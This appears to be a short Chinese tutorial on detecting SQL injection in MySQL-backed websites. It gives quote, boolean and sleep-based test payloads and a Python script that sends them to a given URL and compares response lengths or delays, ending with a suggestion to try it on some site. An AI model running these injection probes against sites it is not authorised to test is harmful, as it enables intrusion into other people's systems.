判断mysql网站是否存在注入漏洞的几个方法:
- 注入点后加上一个单引号会报错
- and 1=1返回正常页面,and 1=2返回的页面不同于正常页面
- and sleep(3) 网页会等待3秒左右
根据返回的页面情况我们就能知道是否存在注入漏洞
要获取页面返回的结果是不是一样的,我们可以通过获取请求头中的Content-Length的长度来判断
知道这些后,我们就能来写个简单的python脚本
# -*- coding:utf-8 -*- __author__ = "MuT6 Sch01aR" import requests import argparse import time def argparse_option(): parser = argparse.ArgumentParser(description='The Help of Mysql_Inject.py') parser.add_argument('-u','--url',help='The Url To Check') args = parser.parse_args() return args def way_1(url): payload = [' and 1=1',' and 1=2'] url_1 = url+payload[0] url_2 = url+payload[1] r = requests.get(url=url) r_1 = requests.get(url=url_1) r_2 = requests.get(url=url_2) h = r.headers.get('Content-Length') h_1 = r_1.headers.get('Content-Length') h_2 = r_2.headers.get('Content-Length') if h ==h_1 and h !=h_2: print("[*] %s can be injected" %url) else: way_2(url) def way_2(url): payload = ' and sleep(5)' t1 = time.time() requests.get(url=url+payload) t2 = time.time() if t2-t1 >5: print("[*] %s can be injected" %url) else: way_3(url) def way_3(url): payload = "'" url_1 = url+payload r = requests.get(url=url) r_1 = requests.get(url=url_1) h = r.headers.get('Content-Length') h_1 = r_1.headers.get('Content-Length') if h != h_1: print("[*] %s can be injected" % url) else: print("[!] %s can't be injected" %url) if __name__ == '__main__': cmd_args = argparse_option() url = cmd_args.url if url: way_1(url) else: print("Usage:python3 main.py -u [url]")
找个站测试一下
这个脚本还只能检测一些简单的链接,多参数的还检测不了